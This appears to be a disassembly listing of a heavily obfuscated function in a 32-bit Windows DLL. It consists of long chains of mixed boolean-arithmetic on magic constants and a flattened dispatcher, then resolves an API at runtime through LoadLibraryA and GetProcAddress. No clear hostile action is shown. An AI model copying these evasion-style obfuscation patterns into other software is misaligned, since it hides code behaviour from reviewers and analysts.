and ecx, 0x3625d7a0
add ecx, esi
xor eax, 0xc9da285f
add eax, ecx
add eax, 1
imul ecx, edx, 0xb7e479cb
mov edx, eax
not edx
lea esi, [ecx + ecx]
add esi, 0x6fc8f398
and edx, esi
lea edx, [edx + ecx*2]
add edx, 0x6fc8f398
mov edi, esi
not edi
and edi, eax
add edi, edx
add edi, eax
xor esi, eax
sub edi, esi
mov edx, 0x481b8633
sub edx, ecx
lea esi, [ecx - 0x481b8634]
mov ebx, esi
and ebx, eax
sub ebx, ecx
mov ecx, edi
not ecx
lea ebp, [ebx + 0x481b8633]
and ecx, ebp
add ecx, edi
add ecx, ebx
mov ebp, 0xb7e479cc
sub ebp, ebx
or ebp, edi
add ebp, ecx
xor esi, eax
mov ecx, esi
not ecx
lea ecx, [esi + ecx*2]
or edx, eax
add ecx, eax
sub ecx, edx
lea eax, [ecx + 1]
add ecx, ecx
add ecx, 2
sub eax, ecx
lea ecx, [eax + ebp]
add eax, ebp
add eax, 0x481b8633
mov edx, 0xb7e479cc
sub edx, ecx
mov esi, eax
and esi, 0xfffffffd
add ecx, esi
add ecx, 0x481b8633
and edx, 2
add edx, ecx
xor eax, 0xfffffffd
add eax, edx
imul eax, eax, 0x4635781f
mov ecx, 0x2d5f97a2
sub ecx, eax
mov edx, ecx
and edx, 0x339afaf4
add edx, eax
add edx, 0xd2a0685d
add eax, 0xd2a0685d
xor eax, 0xcc65050b
add eax, edx
or ecx, 0x339afaf4
sub eax, ecx
add eax, 0x339afaf4
imul ecx, eax, 0xf87c03df
imul eax, eax, 0xf0f807be
mov edx, eax
and edx, 0x6642ed16
add edx, ecx
not ecx
lea ecx, [edx + ecx*2]
and eax, 0x99bd12e8
lea edx, [ecx + eax]
add eax, ecx
add eax, 0x4cde8976
lea ecx, [edx + edx]
add ecx, 0x99bd12ec
mov edx, eax
sub edx, ecx
lea ecx, [edx + edx]
add ecx, 2
sub ecx, eax
lea eax, [edx + 1]
not eax
lea eax, [ecx + eax*2]
mov dword [esp + 8], eax
mov ebp, dword [esp + 0x20]
lea eax, [ebp + 0x6c9b9999]
mov ecx, dword [esp + 0xc]
mov edx, ecx
or edx, eax
and eax, ecx
add eax, edx
imul eax, eax, 0x597cc3e1
mov edx, eax
not edx
mov esi, eax
xor esi, 0x7a5b69b8
add esi, eax
and edx, 0x85a49647
add edx, esi
and eax, 0x7a5b69b8
add eax, edx
imul eax, eax, 0xe442c021
lea edx, [eax + 0x6442c021]
or edx, 0xdb58f427
mov esi, edx
neg esi
add esi, eax
add esi, 0xbf9bb448
sub eax, edx
lea edx, [eax + eax]
add edx, 0x7f376890
sub edx, esi
not esi
lea edi, [esi + eax*2]
add edi, 0x7f376890
mov ebx, 0xada0fb13
sub ebx, edi
lea eax, [esi + eax*2]
add eax, 0xd1966d7c
and ebx, 0xada0fb15
add ebx, edx
or eax, 0x525f04ea
lea ecx, [ebx + eax]
mov dword [esp + 0x30], ecx
add eax, ebx
add eax, 1
mov dword [esp + 0x18], eax
mov ecx, 0x93646667
sub ecx, ebp
mov eax, dword [esp + 4]
mov esi, eax
and esi, 0x24a70bd8
add esi, ebp
add esi, 0x6c9b9998
mov edx, dword [esp + 0xc]
and edx, 0x494e17b0
add edx, esi
mov esi, eax
xor esi, 0x5b58f427
add esi, edx
mov edi, eax
mov edx, eax
not edi
and edi, 0x5b58f427
add edi, esi
mov esi, ecx
or esi, 0x24a70bd8
sub edi, esi
mov esi, ecx
and esi, 0x24a70bd8
neg esi
lea eax, [edi + edi]
add eax, 2
mov ebx, eax
and ebx, esi
lea edi, [ebx + edi*2]
add edi, 2
not eax
and eax, esi
add eax, edi
mov esi, edx
xor esi, 0x24a70bd8
add esi, eax
mov eax, esi
and eax, ecx
xor esi, ecx
add esi, eax
lea ecx, [esi + eax]
add eax, esi
add eax, 2
and eax, 1
mov esi, ecx
xor esi, 1
add esi, eax
or ecx, 0xfffffffe
add ecx, esi
imul eax, ecx, 0xb95cd579
add eax, 0x72b9aaf2
mov ecx, eax
and ecx, 0x3daf7c7c
add ecx, ecx
mov esi, eax
sub esi, ecx
not eax
add eax, eax
or eax, 0x84a10706
sub esi, eax
imul eax, esi, 0x87da84c9
mov dword [esp + 0xc], eax
mov edx, dword [esp + 0x30]
mov edi, edx
not edi
lea ecx, [eax - 0xfb50992]
mov ebp, dword [esp + 0x18]
or ecx, ebp
mov esi, ecx
not esi
mov ebx, edi
and ebx, esi
add ebx, ebx
mov eax, ecx
xor eax, edi
sub edi, ebx
add edi, ecx
add edi, eax
add edi, esi
sub edi, edx
lea eax, [ecx + 1]
or eax, edi
add eax, ecx
add eax, 1
mov esi, 0xfffffffe
sub esi, ecx
or esi, edi
add esi, eax
mov eax, 0xfb50991
sub eax, dword [esp + 0xc]
or eax, ebp
add eax, esi
imul ecx, eax, 0x59e67d09
lea eax, [ecx + 0x59e67d09]
mov edx, eax
or edx, 0x57c34fe5
add ecx, edx
add ecx, 0x59e67d09
not eax
or eax, 0x57c34fe5
add eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x34]
imul ecx, eax, 0x5b1fb0d
xor ecx, 0xcaa9ebab
imul edx, eax, 0xb63f61a
or edx, 0x6aac28a8
add edx, ecx
imul eax, edx, 0x1c314bc5
mov dword [esp + 0x20], eax
lea ecx, [eax - 0x3b14f4df]
mov esi, ecx
not esi
xor ecx, 0xdb58f427
and esi, 0x24a70bd8
lea edi, [esi + esi*2]
add edi, ecx
add edi, ecx
mov ebx, 0x5fbc00b5
sub ebx, eax
sub ebx, edi
mov eax, dword [esp + 0x14]
mov ecx, eax
and ecx, 0x24a70bd8
mov esi, eax
and esi, 0xdb58f427
lea ecx, [esi + ecx*2]
sub ecx, eax
lea esi, [ecx + ecx*2]
not ecx
lea ebp, [esi + ecx*2]
lea ecx, [esi + ecx*2]
add ecx, 0xae1e0e98
or ecx, 0x51e1f16a
add ecx, ebp
add ecx, 0xae1e0e98
mov esi, 0x51e1f167
sub esi, ebp
or esi, 0x51e1f16a
lea edx, [ecx + esi]
add esi, ecx
add esi, 1
mov ebp, ebx
xor ebp, esi
lea ecx, [ebx + edx]
add ecx, 1
add ebp, ecx
or ebx, esi
sub ebp, ebx
mov eax, ebp
add eax, ebp
mov ecx, edx
and ecx, eax
mov ebx, eax
xor eax, edx
not edx
not ebx
and ebx, edx
add ebx, edx
add ecx, ebx
lea ecx, [ecx + ebp*2]
add eax, ecx
mov ecx, dword [esp + 0x20]
add ecx, edi
add ecx, 0xa043ff4a
mov edx, ecx
or edx, esi
not edx
add edx, ecx
add edx, esi
imul edi, dword [esp + 0xc], 0xd102139
xor ecx, esi
add ecx, edx
add ecx, eax
imul eax, ecx, 0xfbf53389
lea ecx, [eax - 0xc206565]
mov edx, ecx
and edx, 0xc57ca921
add edx, eax
add edx, 0xf3df9a9b
mov esi, 0xc206564
sub esi, eax
lea ebx, [edi - 0x4a092dc4]
and esi, 0x3a8356de
add esi, edx
xor ecx, 0xc57ca921
add ecx, esi
imul esi, ecx, 0x819532b9
lea edx, [esi - 0x7e6acd47]
mov eax, ebx
and eax, edx
add eax, eax
mov ecx, ebx
xor ecx, edx
mov ebp, ecx
sub ebp, eax
or ebx, edx
add ebx, ebp
imul eax, dword [esp + 8], 0x56b439ff
not ecx
lea ebx, [ebx + ecx*2]
add ebx, esi
mov ecx, 0x4a092dc3
sub ecx, edi
or ecx, edx
sub ebx, ecx
lea edi, [ebx + esi*2]
add edi, 0x84bf982c
add ebx, 0x819532ba
mov ecx, edx
xor ecx, ebx
not ecx
add ecx, edi
not ebx
add ecx, ebx
or ebx, edx
add ebx, ebx
sub ecx, ebx
mov edi, 0x7e6acd46
sub edi, esi
and edx, ecx
add edx, ecx
mov esi, ecx
not esi
and esi, edi
add esi, edx
add esi, edi
xor edi, ecx
sub esi, edi
mov ecx, esi
not ecx
mov edx, ecx
and edx, 1
add edx, esi
xor esi, 0xfffffffe
add esi, edx
or ecx, 1
sub esi, ecx
add esi, 1
imul ecx, esi, 0xedd3d057
imul edx, esi, 0xdba7a0ae
mov esi, edx
and esi, 0xaafb5b98
add esi, ecx
not ecx
lea ecx, [esi + ecx*2]
and edx, 0x5504a466
add ecx, edx
add ecx, 0xaa825235
imul esi, ecx, 0xd4e21b67
imul ecx, ecx, 0x563bc932
mov edi, esi
xor edi, 0x59df8c7b
add edi, ecx
mov edx, esi
xor edx, 0x26207384
add edx, edi
add edx, esi
lea ecx, [edx + edx]
add ecx, 0x4c40e70c
lea esi, [eax - 0x68ad8c00]
mov edi, esi
not edi
mov ebx, esi
xor ebx, 0xe5195214
lea eax, [ebx + eax*2]
add eax, 0x2ea4e800
or esi, 0xe5195214
sub eax, esi
or edi, 0xe5195214
add edi, eax
imul eax, edi, 0xe427c5ff
lea esi, [eax - 0x16e25ec]
mov edi, esi
or edi, 0x1a6a1414
add eax, edi
add eax, 0xfe91da14
mov edi, esi
xor edi, 0xe595ebeb
add edi, eax
not esi
or esi, 0xe595ebeb
lea eax, [edi + esi]
add esi, edi
add esi, 0xe595ebed
lea eax, [eax + edx*2]
add eax, 0x31d6d2f9
mov edx, esi
xor edx, ecx
add edx, edx
sub eax, edx
mov edx, esi
or edx, ecx
lea edx, [eax + edx*2]
and esi, ecx
not esi
lea eax, [edx + esi*2]
lea edx, [edx + esi*2]
add edx, 2
mov ecx, edx
and ecx, 0x259a7402
lea esi, [ecx + eax*2]
add esi, 4
mov edi, edx
or edi, 0x259a7402
mov ebx, edi
sub ebx, esi
lea esi, [eax + eax]
add esi, 4
add ebx, edi
or esi, 0xb4cb17fa
lea edi, [ebx + esi]
add ebx, esi
add ebx, 2
mov esi, edx
not esi
mov ebp, ebx
and ebp, esi
lea edi, [edi + ebp*2]
add edi, 2
lea ebp, [edi + eax*2]
add ebp, 4
mov edi, ebx
or edi, edx
not edi
add edi, ebp
or esi, ebx
xor ebx, edx
add esi, ebx
sub edi, esi
xor edx, 0xda658bfd
mov ebx, 0x1a658bfc
sub ebx, edi
sub ebx, edx
add edx, edi
add edx, 0x259a7403
xor ecx, 0x259a7402
add eax, ecx
add eax, 2
lea ecx, [edx + edx*2]
and ebx, eax
lea ecx, [ecx + ebx*4]
sub ecx, eax
xor edx, eax
add edx, edx
sub ecx, edx
mov eax, 0x281f7df0
sub eax, ecx
mov edx, eax
and edx, 0x57e0820e
add edx, ecx
or eax, 0xa81f7df1
sub edx, eax
imul eax, edx, 0xa2006f51
lea edx, [eax + 0x5b925841]
mov ecx, edx
and ecx, 0xf3a43641
lea esi, [ecx + eax]
add esi, 0x5b925841
mov ecx, edx
or ecx, 0xc5bc9be
sub esi, ecx
mov ecx, edx
xor ecx, 0x62de4df
add ecx, eax
add ecx, 0x5b925841
mov eax, edx
not eax
or eax, 0x62de4df
add eax, ecx
mov ecx, eax
not ecx
add ecx, esi
add ecx, 0x18b7937c
add esi, 0x18b7937c
mov edi, edx
and edi, 0xf9d21b20
mov ebx, edi
xor ebx, 0xf9d21b20
add ebx, edi
or edx, 0x62de4df
lea edi, [ebx + edx]
add edx, ebx
add edx, 2
sub eax, esi
mov esi, eax
and esi, edx
add esi, ecx
lea esi, [edi + esi*2]
add esi, 2
mov edi, ecx
xor edi, edx
or ecx, edx
not ecx
add ecx, esi
or eax, edx
add eax, edi
sub ecx, eax
imul eax, ecx, 0xdb8aa661
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x8401d67c
add edx, eax
and ecx, 0x7bfe2983
add ecx, edx
xor eax, 0x8401d67c
add eax, ecx
imul esi, eax, 0x24907da1
lea ecx, [esi + 0x24907da1]
lea edx, [esi - 0x1883ab2f]
mov edi, ecx
or edi, 0xc2ebd730
mov ebx, edi
neg ebx
mov ebp, edx
sub ebp, edi
add edi, 0xffffffff
or edi, edx
xor edx, ebx
add ebp, edx
not edx
lea edx, [edx*2]
add edx, ebp
mov ebp, 0x1883ab2e
sub ebp, esi
or ebp, ebx
add ebp, edi
sub edx, ebp
mov esi, ecx
xor esi, 0x3d1428cf
mov edi, ecx
and edi, 0xc2ebd730
xor ecx, 0xc2ebd730
add ecx, esi
lea ebx, [ecx + esi]
add ecx, esi
add ecx, 1
mov ebp, esi
sub ebp, edi
lea edi, [ebp*2 - 1]
add edi, ebp
and edi, edx
add edi, edi
mov esi, edx
sub esi, edi
lea edi, [ebp*2]
add edi, ebp
sub esi, edi
neg edi
not edx
or edx, edi
add edx, edx
sub esi, edx
lea edx, [esi - 2]
mov edi, 0xfffffffe
sub edi, ebx
mov ebx, edx
and ebx, edi
or edi, edx
and edx, ecx
add ebx, edx
lea edx, [esi + ebx]
add edx, 0xfffffffe
mov ebx, 1
sub ebx, esi
and ebx, ecx
add edi, ebx
add edi, esi
add edx, ecx
sub edx, edi
lea ecx, [edx + 1]
mov esi, ecx
xor esi, 0x3d1428cf
add edx, esi
add edx, 1
xor ecx, 0xc2ebd730
add ecx, edx
imul eax, eax, 0xdb6f825f
add eax, ecx
imul ecx, eax, 0x600a7c91
lea eax, [ecx - 0x66b5c2f2]
mov edx, eax
and edx, 0xad184bbb
add edx, ecx
add edx, 0x994a3d0e
mov esi, 0x66b5c2f1
sub esi, ecx
mov ecx, esi
and ecx, 0xad184bbb
sub edx, ecx
xor eax, 0xad184bbb
add eax, edx
add eax, esi
imul eax, eax, 0x5400c471
add eax, 0xb1b55dfc
mov ecx, eax
or ecx, 0xa24b6675
or eax, 0x5db4998a
lea edx, [ecx + eax]
add eax, ecx
add eax, 0xa24b6676
and eax, 0xf9d21b20
lea ecx, [eax + edx]
add ecx, 0xa24b6676
xor eax, 0xf9d21b20
lea edx, [ecx + eax]
add eax, ecx
add eax, 0x9e140062
xor eax, 0x9e140061
lea ecx, [edx + edx]
add ecx, 0x3c2800c4
or ecx, 0xc3d7ff3c
add ecx, eax
imul eax, ecx, 0x5fca39b1
lea ecx, [eax + 0x5fca39b2]
and ecx, 0xca464729
mov edx, 0xa035c64d
sub edx, eax
and edx, 0xca464729
add edx, ecx
add eax, edx
add eax, 0x5fca39b2
lea edx, [eax + eax]
sub edx, eax
lea eax, [edx - 0x1b4ee275]
or eax, 0x1b4ee274
add eax, edx
add eax, 0xe4b11d8b
mov ecx, 0x1b4ee274
sub ecx, edx
or ecx, 0x1b4ee274
lea edx, [eax + ecx]
mov ebx, 0xfffffffe
sub ebx, edx
mov edi, ebx
and edi, 0x1c2687d0
add edi, ebx
mov esi, ebx
xor esi, 0x1c2687d0
add esi, edi
lea edi, [ecx + eax]
add edi, 1
add ebx, ebx
or ebx, 0x384d0fa0
sub esi, ebx
mov ebx, edi
not ebx
and ebx, 0x1c2687d0
add ebx, edx
xor edi, 0xe3d9782f
add edi, ebx
lea ebx, [esi + edi]
add esi, edi
add esi, 0x1c2687d1
add ecx, eax
add ecx, 2
mov eax, 0xfffffffd
sub eax, edx
and eax, esi
lea edx, [eax + ebx]
add edx, 0x1c2687d1
mov eax, esi
not eax
and eax, ecx
add eax, edx
add eax, ecx
xor esi, ecx
sub eax, esi
mov ecx, 0x30ebdb5c
sub ecx, eax
mov edx, ecx
and edx, 0x30ebdb5d
add edx, eax
and ecx, 0xcf1424a2
add ecx, edx
lea edx, [eax + ecx]
add ecx, eax
add ecx, 0xcf1424a4
mov eax, ecx
xor eax, 0x35b9b8d7
add edx, edx
add edx, 0x9e284948
xor edx, 0x948c8e50
add edx, eax
mov eax, ecx
not eax
mov esi, eax
or esi, 0x35b9b8d7
sub edx, esi
lea edi, [edx + 0x35b9b8d8]
mov esi, ecx
and esi, 0xca464728
mov ebx, esi
not ebx
and ebx, edi
add ebx, edx
add ebx, 0x35b9b8d8
mov edx, edi
not edx
and edx, esi
add edx, ebx
add edx, esi
xor esi, edi
sub edx, esi
mov esi, edx
not esi
mov edi, ecx
and edi, esi
add edi, edx
add edi, ecx
xor edx, ecx
not edx
add edx, edi
or esi, ecx
sub edx, esi
lea ecx, [edx + edx]
mov esi, ecx
and esi, 0x948c8e50
add esi, edx
not edx
lea edx, [esi + edx*2]
and ecx, 0x6b7371ae
add ecx, edx
lea edx, [ecx + eax]
add eax, ecx
add eax, 0x35b9b8d9
mov ecx, eax
and ecx, 1
add ecx, edx
add ecx, 0x35b9b8d9
mov edx, eax
xor edx, 1
add edx, ecx
or eax, 1
sub edx, eax
imul eax, edx, 0x6a8d0c77
lea ecx, [eax + 0x6a8d0c77]
not ecx
mov edx, ecx
and edx, 0x4dcc4d73
add edx, eax
add edx, 0x6a8d0c77
and ecx, 0xb233b28c
add ecx, edx
add eax, ecx
add eax, 0x6a8d0c77
imul ecx, eax, 0x4a1c8d47
lea eax, [ecx + 0x1b025f2c]
mov edx, eax
and edx, 0xd0e5d1e4
add ecx, edx
add ecx, 0x1b025f2c
mov edx, eax
and edx, 0x2f1a2e1b
mov esi, edx
xor esi, 0x2f1a2e1b
add esi, ecx
not eax
or eax, 0x2f1a2e1b
add eax, esi
mov byte [edx + eax + 1], 0
lea edi, [edx + eax]
add edi, 1
mov eax, dword [esp + 0x64]
push str.RURU_
push dword [esp + 0x4c]
call eax
test eax, eax
mov eax, 0x273cf69c
mov ecx, 0x3b7b2bbf
cmove eax, ecx
mov ecx, 0xa2a2b2b3
mov edx, 0x652f4817
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x900d1820
mov edx, 0x99eed7be
mov esi, 0xc8ea35b8
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x4913101f
mov edx, 0x3920228
mov esi, 0x95996808
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x88ff955b
mov edx, 0x99eed7be
mov esi, 0x45bc4b7
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xdcb095
mov edx, 0x99eed7be
mov esi, 0x53d18648
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x6b96aec6
mov edx, 0x26f8ab9f
mov esi, 0x5bfca90c
cmovl edx, esi
jmp 0x100694b0
mov ecx, 0xdcaf9fb3
mov edx, 0x652f4817
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x6a801bce
mov edx, 0x99eed7be
mov esi, 0xce8119b4
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x4913101f
mov edx, 0x99eed7be
mov esi, 0x401216e7
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x231bc52c
mov edx, 0x99eed7be
mov esi, 0x587dcf2f
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x747c93cf
mov edx, 0x99eed7be
mov esi, 0xb28ad55d
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x299f9b8a
mov edx, 0xa0423931
mov esi, 0x30b47598
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x74f93a9d
mov edx, 0x99eed7be
mov esi, 0xd875c0ab
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xdad00552
mov edx, 0x6ae41fec
mov esi, 0xa5f6f4eb
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xce65d572
mov edx, 0xf76cd616
mov esi, 0x19cacb5f
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x80c49873
mov edx, 0x99eed7be
mov esi, 0x4cd9d790
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x91cdfa39
mov edx, 0x99eed7be
mov esi, 0xa9bcc1b3
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xadb26d9a
mov edx, 0xed1cc53c
mov esi, 0x90f1ba14
cmovl edx, esi
jmp 0x100694b0
push 0x100ad8da
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x100ad8e5
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esp + 0x74]
call eax
mov dword [esp + 0x78], eax
cmp dword [esp + 0x78], 0
mov eax, 0x94fd09a1
mov ecx, 0x2d6ed7d5
cmove eax, ecx
mov ecx, 0xa2a2b2b3
mov dword [esp + 0x1c], 0xffffffff
mov edx, 0x652f4817
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x72ba288c
mov edx, 0xde6a5b5b
mov esi, 0xfab5d1b1
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x194e02e6
mov edx, 0x99eed7be
mov esi, 0xe8968502
cmove edx, esi
jmp 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x2e4d6d83
mov ecx, 0xdb27ca0b
mov edx, 0xec380b6e
jmp 0x1006e5ca
mov edx, dword [esp]
cmp edx, 0x21233653
mov edx, 0x706faf00
mov esi, 0x66dd68a
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xdad00552
mov edx, 0x99eed7be
mov esi, 0x5ff6a9a1
cmove edx, esi
jmp 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x273cf69c
mov ecx, 0x85451fbc
mov edx, 0xebe13254
jmp 0x1006949d
mov ecx, dword [esp + 0x10]
cmp ecx, 0x9d44933
mov ecx, 0x74f93a9d
mov edx, 0x867c3e52
jmp 0x1006e5ca
mov ecx, 0x747c93cf
mov edx, 0x652f4817
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x88ff955b
mov edx, 0x6a100725
mov esi, 0xe8179078
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x431f348d
mov edx, 0xfb64204b
mov esi, 0x650307b8
cmovl edx, esi
jmp 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x751a1b51
mov ecx, 0x322847e
mov edx, 0x80c49873
jmp 0x1006e5ca
mov ecx, dword [esp + 0x10]
cmp ecx, 0x3b7b2bbf
mov ecx, 0x72ba288c
mov edx, 0x6b96aec6
jmp 0x1006e5ca
mov edx, dword [esp]
cmp edx, 0x2e01c3fe
mov edx, 0x1ff1226b
mov esi, 0xfebe68ee
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x9fe90b2a
mov edx, 0x99eed7be
mov esi, 0x746d5412
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xdb27ca0b
mov edx, 0x99eed7be
mov esi, 0x4ddd475e
cmove edx, esi
jmp 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x94fd09a1
mov ecx, 0x4913101f
mov edx, 0xce65d572
cmovl ecx, edx
mov edx, 0x652f4817
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x231bc52c
mov edx, 0xc6f314f0
mov esi, 0xf1e7745b
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xa2a2b2b3
mov edx, 0x82cb326a
mov esi, 0x1cd06fbd
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x299f9b8a
mov edx, 0x99eed7be
mov esi, 0xb1afa29f
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x53d18648
je 0x1006e64a
jmp 0x100694b0
mov edx, 0x149576df
jmp 0x100694b0
mov eax, dword [esp + 0x60]
mov eax, dword [esp + 0x5c]
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x10b4]
xor ecx, esp
call fcn.1009a5dc
mov eax, dword [esp + 0x38]
add esp, 0x10b8
pop esi
pop edi
pop ebx
pop ebp
ret